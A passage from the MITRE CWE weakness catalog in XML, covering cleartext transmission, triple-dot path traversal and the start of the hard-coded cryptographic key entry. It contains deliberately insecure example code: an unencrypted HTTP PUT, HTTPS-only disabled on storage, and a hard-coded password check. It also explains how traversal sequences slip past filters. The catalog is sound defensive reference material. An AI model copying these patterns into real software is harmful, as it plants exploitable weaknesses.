                  <xhtml:div>try {<xhtml:div style="margin-left:1em;">URL u = new URL("http://www.secret.example.org/");<xhtml:br/>HttpURLConnection hu = (HttpURLConnection) u.openConnection();<xhtml:br/>hu.setRequestMethod("PUT");<xhtml:br/>hu.connect();<xhtml:br/>OutputStream os = hu.getOutputStream();<xhtml:br/>hu.disconnect();</xhtml:div>}<xhtml:br/>catch (IOException e) {<xhtml:div style="margin-left:1em;">
                           <xhtml:i>//...</xhtml:i>
                           <xhtml:br/>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.</Body_Text>
            </Demonstrative_Example>
	    <Demonstrative_Example Demonstrative_Example_ID="DX-153">
	      <Intro_Text>In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.</Intro_Text>
	      <Body_Text>Multiple vendors used cleartext transmission of sensitive information in their OT products.</Body_Text>
	    </Demonstrative_Example>
	    <Demonstrative_Example>
	    <Intro_Text>A TAP accessible register is read/written by a JTAG based tool, for internal use by authorized users. However, an adversary can connect a probing device and collect the values from the unencrypted channel connecting the JTAG interface to the authorized user, if no additional protections are employed.</Intro_Text>
	    </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following Azure CLI command lists the properties of a particular storage account:</Intro_Text>
               <Example_Code Nature="informative" Language="Shell">
                  <xhtml:div>az storage account show -g {ResourceGroupName} -n {StorageAccountName}</xhtml:div>
               </Example_Code>
	       <Body_Text>The JSON result might be:</Body_Text>
	       <Example_Code Nature="bad" Language="JSON">
		 <xhtml:div>
		   {<xhtml:br/>
		   <xhtml:div style="margin-left:1em;">
		     "name": "{StorageAccountName}",<xhtml:br/>
		     "enableHttpsTrafficOnly": false,<xhtml:br/>
		     "type": "Microsoft.Storage/storageAccounts"<xhtml:br/>
		   </xhtml:div>
		   }
		 </xhtml:div>
	       </Example_Code>
	       <Body_Text>The enableHttpsTrafficOnly value is set to false, because the default setting for Secure transfer is set to Disabled. This allows cloud storage resources to successfully connect and transfer data without the use of encryption (e.g., HTTP, SMB 2.1, SMB 3.0, etc.).</Body_Text>
	       <Body_Text>Azure's storage accounts can be configured to only accept requests from secure connections made over HTTPS. The secure transfer setting can be enabled using Azure's Portal (GUI) or programmatically by setting the enableHttpsTrafficOnly property to True on the storage account, such as:</Body_Text>
               <Example_Code Nature="good" Language="Shell">
                  <xhtml:div>az storage account update -g {ResourceGroupName} -n {StorageAccountName} --https-only true</xhtml:div>
               </Example_Code>
	       <Body_Text>The change can be confirmed from the result by verifying that the enableHttpsTrafficOnly value is true:</Body_Text>
	       <Example_Code Nature="good" Language="JSON">
		 <xhtml:div>
		   {<xhtml:br/>
		   <xhtml:div style="margin-left:1em;">
		     "name": "{StorageAccountName}",<xhtml:br/>
		     "enableHttpsTrafficOnly": true,<xhtml:br/>
		     "type": "Microsoft.Storage/storageAccounts"<xhtml:br/>
		   </xhtml:div>
		   }
		 </xhtml:div>
	       </Example_Code>
	       <Body_Text>
	       <xhtml:p>Note: to enable secure transfer using Azure's Portal instead of the command line:</xhtml:p>
		 <xhtml:ul>
		   <xhtml:li>1. Open the Create storage account pane in the Azure portal.</xhtml:li>
		   <xhtml:li>2. In the Advanced page, select the Enable secure transfer checkbox.</xhtml:li>
		 </xhtml:ul>
	     </Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-29519</Reference>
               <Description>Programmable Logic Controller (PLC) sends sensitive information in plaintext, including passwords and session tokens.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-29519</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-30312</Reference>
               <Description>Building Controller uses a protocol that transmits authentication credentials in plaintext.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-30312</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-31204</Reference>
               <Description>Programmable Logic Controller (PLC) sends password in plaintext.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-31204</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1949</Reference>
               <Description>Passwords transmitted in cleartext.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1949</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4122</Reference>
               <Description>Chain: Use of HTTPS cookie without "secure" flag causes it to be transmitted across unencrypted HTTP.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4122</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3289</Reference>
               <Description>Product sends password hash in cleartext in violation of intended policy.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3289</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4390</Reference>
               <Description>Remote management feature sends sensitive information including passwords in cleartext.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4390</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-5626</Reference>
               <Description>Backup routine sends password in cleartext in email.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-5626</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1852</Reference>
               <Description>Product transmits Blowfish encryption key in cleartext.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1852</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0374</Reference>
               <Description>Printer sends configuration information, including administrative password, in cleartext.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0374</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-4961</Reference>
               <Description>Chain: cleartext transmission of the MD5 hash of password enables attacks against a server that is susceptible to replay (CWE-294).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4961</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-4786</Reference>
               <Description>Product sends passwords in cleartext to a log server.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4786</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3140</Reference>
               <Description>Product sends file with cleartext passwords in e-mail message intended for diagnostic purposes.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3140</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Plaintext Transmission of Sensitive Information</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>SEC06-J</Entry_ID>
               <Entry_Name>Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>SER02-J</Entry_ID>
               <Entry_Name>Sign then seal sensitive objects before sending them outside a trust boundary</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
			<Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
			  <Entry_ID>Part 3-3</Entry_ID>
              <Entry_Name>Req SR 4.1</Entry_Name>
			</Taxonomy_Mapping>
			<Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
			  <Entry_ID>Part 4-2</Entry_ID>
              <Entry_Name>Req CR 4.1B</Entry_Name>
			</Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="102"/>
            <Related_Attack_Pattern CAPEC_ID="117"/>
            <Related_Attack_Pattern CAPEC_ID="383"/>
            <Related_Attack_Pattern CAPEC_ID="477"/>
            <Related_Attack_Pattern CAPEC_ID="65"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-271"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 9, &#34;Protecting Secret Data&#34; Page 299"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 22: Failing to Protect Network Traffic.&#34; Page 337"/>
            <Reference External_Reference_ID="REF-172"/>
            <Reference External_Reference_ID="REF-1283"/>
            <Reference External_Reference_ID="REF-1307" Section="Sections 3.1 and 3.10"/>
            <Reference External_Reference_ID="REF-1309"/>
         </References>
         <Notes>
	       <Note Type="Maintenance">The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Likelihood_of_Exploit, Name, Observed_Examples, Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-01-23</Modification_Date>
               <Modification_Comment>updated Abstraction </Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References, Relationships, Type</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Maintenance_Notes, Modes_of_Introduction, Potential_Mitigations, References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>Accellera IP Security Assurance (IPSA) Working Group</Contribution_Name>
	       <Contribution_Organization>Accellera Systems Initiative</Contribution_Organization>
               <Contribution_Date>2023-01-24</Contribution_Date>
               <Contribution_Comment>Submitted original contents of CWE-1324 and reviewed its integration into this entry.</Contribution_Comment>
            </Contribution>
            <Previous_Entry_Name Date="2009-01-12">Plaintext Transmission of Sensitive Information</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="32" Name="Path Traversal: '...' (Triple Dot)" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '...' (triple dot) sequences that can resolve to a location that is outside of that directory.</Description>
         <Extended_Description>
            <xhtml:p>This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.</xhtml:p>
            <xhtml:p>The '...' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to "..\.." and might bypass checks that assume only two dots are valid. Incomplete filtering, such as removal of "./" sequences, can ultimately produce valid ".." sequences due to a collapse into unsafe value (CWE-182).</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="23" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5.1">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.</xhtml:p>
                  <xhtml:p>Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2001-0467</Reference>
               <Description>"\..." in web server</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0467</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0615</Reference>
               <Description>"..." or "...." in chat server</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0615</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0963</Reference>
               <Description>"..." in cd command in FTP server</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0963</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1193</Reference>
               <Description>"..." in cd command in FTP server</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1193</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1131</Reference>
               <Description>"..." in cd command in FTP server</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1131</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0480</Reference>
               <Description>read of arbitrary files and directories using GET or CD with "..." in Windows-based FTP server.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0480</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0288</Reference>
               <Description>read files using "." and Unicode-encoded "/" or "\" characters in the URL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0288</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0313</Reference>
               <Description>Directory listing of web server using "..."</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0313</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1658</Reference>
               <Description>Triple dot</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1658</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>'...' (triple dot)</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Maintenance">
               <xhtml:p>This manipulation-focused entry is currently hiding two distinct weaknesses, so it might need to be split. The manipulation is effective in two different contexts:</xhtml:p>
                  <xhtml:ul>
                     <xhtml:li>it is equivalent to "..\.." on Windows, or</xhtml:li>
                     <xhtml:li>it can take advantage of incomplete filtering, e.g. if the programmer does a single-pass removal of "./" in a string (collapse of data into unsafe value, CWE-182).</xhtml:li>
                  </xhtml:ul>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Maintenance_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Maintenance_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Triple Dot - '...'</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="321" Name="Use of Hard-coded Cryptographic Key" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The use of a hard-coded cryptographic key significantly increases the possibility that encrypted data may be recovered.</Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="798" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="798" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="798" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
	    <Technology Class="ICS/OT" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>If hard-coded cryptographic keys are used, it is almost certain that malicious users will gain access through the account in question.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Prevention schemes mirror that of hard-coded password storage.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-92">
               <Intro_Text>The following code examples attempt to verify a password using a hard-coded cryptographic key.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int VerifyAdmin(char *password) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b")) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>printf("Incorrect Password!\n");<xhtml:br/>return(0);</xhtml:div>
